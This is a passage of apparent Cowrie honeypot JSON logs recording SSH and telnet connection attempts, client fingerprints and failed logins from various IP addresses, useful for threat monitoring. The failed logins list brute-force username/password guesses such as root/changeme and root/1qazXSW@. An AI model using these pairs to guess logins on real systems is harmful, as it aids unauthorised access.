etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.308223Z","src_ip":"45.153.34.112","session":"b47ad7382799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.552927Z","src_ip":"45.153.34.112","session":"b47ad7382799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45720,"dst_ip":"10.17.0.5","dst_port":23,"session":"197c83c62deb","protocol":"telnet","message":"New connection: 192.119.13.58:45720 (10.17.0.5:23) [session: 197c83c62deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.804950Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.74.204.176","src_port":44096,"dst_ip":"159.203.135.109","dst_port":23,"session":"af8f7d29db00","protocol":"telnet","message":"New connection: 77.74.204.176:44096 (159.203.135.109:23) [session: af8f7d29db00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:37.811665Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:38.661650Z","src_ip":"45.153.34.112","session":"b47ad7382799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":52974,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d89040a6ae","protocol":"ssh","message":"New connection: 43.173.122.127:52974 (10.17.0.5:22) [session: 66d89040a6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.638962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.644514Z","src_ip":"43.173.122.127","session":"66d89040a6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44086,"dst_ip":"10.17.0.5","dst_port":22,"session":"df775eb8ade3","protocol":"ssh","message":"New connection: 45.153.34.112:44086 (10.17.0.5:22) [session: df775eb8ade3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.666289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.671125Z","src_ip":"45.153.34.112","session":"df775eb8ade3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.711845Z","src_ip":"43.173.122.127","session":"66d89040a6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:40.753368Z","src_ip":"45.153.34.112","session":"df775eb8ade3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:41.001052Z","src_ip":"45.153.34.112","session":"df775eb8ade3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:41.012737Z","src_ip":"43.173.122.127","session":"66d89040a6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:42.083655Z","src_ip":"43.173.122.127","session":"66d89040a6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:42.088319Z","src_ip":"45.153.34.112","session":"df775eb8ade3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.23853015899658,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:43.610336Z","src_ip":"192.119.13.58","session":"8b07cf60516f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44100,"dst_ip":"10.17.0.5","dst_port":22,"session":"120265587bf1","protocol":"ssh","message":"New connection: 45.153.34.112:44100 (10.17.0.5:22) [session: 120265587bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:44.274449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:44.279039Z","src_ip":"45.153.34.112","session":"120265587bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:44.360866Z","src_ip":"45.153.34.112","session":"120265587bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:44.608291Z","src_ip":"45.153.34.112","session":"120265587bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8929daa8db5b","protocol":"ssh","message":"New connection: 186.68.83.105:36086 (10.17.0.5:22) [session: 8929daa8db5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:45.301994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:45.307054Z","src_ip":"186.68.83.105","session":"8929daa8db5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:45.396660Z","src_ip":"186.68.83.105","session":"8929daa8db5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:45.691407Z","src_ip":"45.153.34.112","session":"120265587bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:45.784674Z","src_ip":"186.68.83.105","session":"8929daa8db5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:46.881159Z","src_ip":"186.68.83.105","session":"8929daa8db5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":37328,"dst_ip":"10.17.0.5","dst_port":22,"session":"e355cbd2e152","protocol":"ssh","message":"New connection: 106.251.244.178:37328 (10.17.0.5:22) [session: e355cbd2e152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.358575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.363673Z","src_ip":"106.251.244.178","session":"e355cbd2e152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.566703Z","src_ip":"106.251.244.178","session":"e355cbd2e152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44106,"dst_ip":"10.17.0.5","dst_port":22,"session":"40dd2102e445","protocol":"ssh","message":"New connection: 45.153.34.112:44106 (10.17.0.5:22) [session: 40dd2102e445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.627270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.633052Z","src_ip":"45.153.34.112","session":"40dd2102e445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.716203Z","src_ip":"45.153.34.112","session":"40dd2102e445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:47.964135Z","src_ip":"45.153.34.112","session":"40dd2102e445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"corvette","message":"login attempt [root/corvette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:48.407424Z","src_ip":"106.251.244.178","session":"e355cbd2e152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:49.048881Z","src_ip":"45.153.34.112","session":"40dd2102e445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:49.612453Z","src_ip":"106.251.244.178","session":"e355cbd2e152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d73cdc8e584","protocol":"ssh","message":"New connection: 45.153.34.112:40780 (10.17.0.5:22) [session: 6d73cdc8e584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:51.197214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:51.201716Z","src_ip":"45.153.34.112","session":"6d73cdc8e584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee1bae22f9c","protocol":"telnet","message":"New connection: 192.119.13.58:40010 (10.17.0.5:23) [session: eee1bae22f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:51.230654Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:51.284405Z","src_ip":"45.153.34.112","session":"6d73cdc8e584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:51.532678Z","src_ip":"45.153.34.112","session":"6d73cdc8e584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:52.691282Z","src_ip":"45.153.34.112","session":"6d73cdc8e584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50616,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d4d8f3a5cb","protocol":"telnet","message":"New connection: 192.119.13.58:50616 (10.17.0.5:23) [session: 11d4d8f3a5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:53.854215Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.7.61","src_port":49020,"dst_ip":"159.203.135.109","dst_port":22,"session":"760ec407e235","protocol":"ssh","message":"New connection: 27.79.7.61:49020 (159.203.135.109:22) [session: 760ec407e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:53.951800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:28:53.959080Z","src_ip":"27.79.7.61","session":"760ec407e235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18